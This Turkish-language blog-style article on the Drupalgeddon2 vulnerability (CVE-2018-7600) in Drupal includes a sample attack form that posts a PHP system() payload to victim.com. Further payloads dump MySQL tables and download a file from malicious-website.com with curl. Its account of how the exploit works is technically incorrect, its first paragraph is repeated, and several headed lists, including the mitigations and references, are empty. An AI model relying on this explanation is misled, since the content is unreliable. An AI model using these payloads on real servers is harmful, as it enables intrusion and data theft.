Drupal (CMS), dünya çapında popüler bir açık kaynak içerik yönetim sistemidir ve özellikle büyük ölçekli web siteleri için tercih edilen bir platformdur. Ancak, 2018'de keşfedilen Drupalgeddon2 (CVE-2018-7600) olarak bilinen güvenlik açığı, bu platformun ciddi bir güvenlik riski taşımasına neden olmuştur. Bu açık, dünya genelinde birçok web sitesini etkileyen bir zafiyet olup, siber saldırganların sitelere uzaktan erişim sağlamasına olanak tanıyordu.
Drupal (CMS), dünya çapında popüler bir açık kaynak içerik yönetim sistemidir ve özellikle büyük ölçekli web siteleri için tercih edilen bir platformdur. Ancak, 2018'de keşfedilen Drupalgeddon2 (CVE-2018-7600) olarak bilinen güvenlik açığı, bu platformun ciddi bir güvenlik riski taşımasına neden olmuştur. Bu açık, dünya genelinde birçok web sitesini etkileyen bir zafiyet olup, siber saldırganların sitelere uzaktan erişim sağlamasına olanak tanıyordu.
CVE-2018-7600, Drupal (CMS) içerik yönetim sisteminin kurulu olduğu sistemlerde Remote Code Execution (uzaktan kod çalıştırma) tekniği aracılığıyla bu zafiyetin gerçekleştirilmesini ifade etmektedir. Bu zafiyet, Drupal'ın önceki sürümlerinde yer alan bir güvenlik zafiyetinden kaynaklanmaktaydı ve saldırganların, düzgün yapılandırılmamış veya güncellenmemiş bir Drupal altyapısına sahip web sitesine zarar vermesine olanak tanıyordu. Bu güvenlik açığı, özellikle Drupal 7.x ve Drupal 8.x sürümlerinde etkili olmaktaydı.
Zafiyetin Çalışma İlkesi: Drupalgeddon2'nin en tehlikeli yönlerinden biri, saldırganların herhangi bir kimlik doğrulama gereksinimi olmadan hedef siteye uzaktan zarar verebilmesiydi. Bu, saldırganların potansiyel olarak Drupal sitesine yönetici seviyesinde erişim kazanmasına ve uzaktan kod çalıştırmasına olanak tanıyordu. Bu durum, saldırganların site üzerinde tam kontrol elde edebilecekleri anlamına geliyordu.

Drupalgeddon2, siteye gönderilen verilerin işlenmesi sırasında ortaya çıkan bir açık olduğu için, kötü amaçlı kullanıcı girdilerinin sisteme zararlı komutlar göndermesi mümkündü. Aşağıda, bir HTML formu örneği ile bu açığı nasıl tetikleyebileceğimizi inceleyelim.
Örnek HTML Formu (Zayıf Güvenlik Kontrolü ile):
Bir saldırgan, Drupal sistemine kötü amaçlı PHP kodu gönderebilmektedir. Eğer Drupal, kullanıcıdan gelen bu verileri filtrelemeden işlerse, PHP kodu doğrudan çalıştırılabilmektedir.
Örnek html kodu:
<form action="http://victim.com/?q=user/register" method="POST">
<label for="name">Kullanıcı Adı:</label>
<input type="text" id="name" name="name[0]" value="<?php system('ls'); ?>" />
<br><br>
<label for="email">E-posta:</label>
<input type="email" id="email" name="mail" value="example@example.com" />
<br><br>
<label for="password">Şifre:</label>
<input type="password" id="password" name="pass[0]" value="password" />
<br><br>
<input type="submit" value="Gönder" />
</form>
Bu formda, name[0] adlı input alanına zararlı bir PHP kodu (<?php system('ls'); ?>) yerleştirilmiştir. Kullanıcı adı olarak girilen bu veri, Drupal içerik yönetim sistemi tarafından işlenip sunucuya gönderildiğinde, system('ls') komutunun çalıştırılacağını ve yapılan saldırının sistemdeki dosya ve dizinlerin görüntülenmesi ile sonuçlandığı anlamına gelmektedir. Drupalgeddon açığının istismarında yalnızca PHP kodlarının çalıştırılabildiği gibi bir kısıtlama yoktur. Drupal gibi bir CMS üzerinde, güvenlik açıkları varsa, PHP dışındaki zararlı kodlar (örneğin JavaScript, HTML, vb.) da çalıştırılabilir veya siteye zarar verebilir. Ancak, Drupal'deki zafiyetler genellikle PHP kodlarının çalıştırılmasına olanak tanımaktadır. Çünkü Drupal, PHP tabanlı bir içerik yönetim sistemi platformudur.
Formdaki Veri Girişi Alanları (input):
Formu doldururken, aşağıdaki gibi veriler girilebilir:
Saldırgan bu formu gönderdikten sonra, Drupal içerik yönetim sistemi bu formu işlediğinde, özellikle name[0] alanındaki zararlı PHP komutunu çalıştırabilmektedir. Bu durum, PHP betiği tarafından işlenen komutlar sayesinde, sistemin komut satırını tetikleyebilmekte ve sunucudaki dizin yapısını görüntüleyebilmektedir.
Drupal, form verilerini düzgün şekilde doğrulamadan kabul ediyordu. Kullanıcıdan gelen her tür veri, yeterince filtrelenmeden işleniyor ve sunucuya iletiliyordu. Saldırganlar, bu durumu kullanarak PHP kodları ekleyebiliyordu. Yukarıdaki örnekte, formdaki name[0] input alanına eklenen PHP kodu, Drupal sisteminin uygun güvenlik önlemleri almadan çalıştırılması nedeniyle, sunucunun dosya dizinlerini görüntüleyebiliyordu.
Saldırgan bu yöntemi kullanarak bir dizi zararlı eylem gerçekleştirebilir:
Örneğin: <?php system('ls'); ?>
Aşağıdaki örnekte, system() fonksiyonu ile MySQL'deki SHOW TABLES komutunu çalıştırmak:
<?php system('mysql -u $censoreduser -p $censoredpassword -e "SHOW TABLES;"'); ?>
Bu komut, MySQL veritabanındaki tüm tabloları listeleyecektir. Veritabanının yapısı hakkında bilgi sağlayacaktır.
Bir başka örnek, veritabanındaki belirli bir tabloyu sorgulamak olabilir. Örneğin, ilgili tablodaki tüm verileri listelemek için:
<?php system('mysql -u $censoreduser -p $censoredpassword -e "SELECT * FROM $censoredtablename;"'); ?>
Bu komut, ilgili tablodaki tüm verileri (örneğin, kullanıcı adları, şifreler ve diğer hassas bilgiler) dışarı alabilmektedir.
Bu tür komutlar, saldırganın sistemin veritabanı üzerinde tam kontrol sağlamasına, veri çalmasına veya zarar vermesine olanak tanımaktadır.
Örneğin: <?php system('curl -O http://malicious-website.com/malicious-file.php'); ?>

Drupalgeddon2'nin etkilerini en aza indirmek için, Drupal CMS kullanılan sistemlerde alınması gereken bazı temel güvenlik önlemleri bulunmaktadır:
Sonuç:
Bu güvenlik açığı, Drupal kullanıcılarını çok dikkatli olmaya ve platformlarını düzenli olarak güncellemeye teşvik etmiştir. Güvenlik açıklarının zamanında fark edilmesi ve hızla kapatılması, web uygulamalarını korumanın anahtarıdır. Sonuç olarak, web güvenliği her zaman öncelikli olmalı ve gelişen tehditlere karşı sürekli, güncel ve proaktif bir savunma stratejisi oluşturulmalıdır.
Referanslar: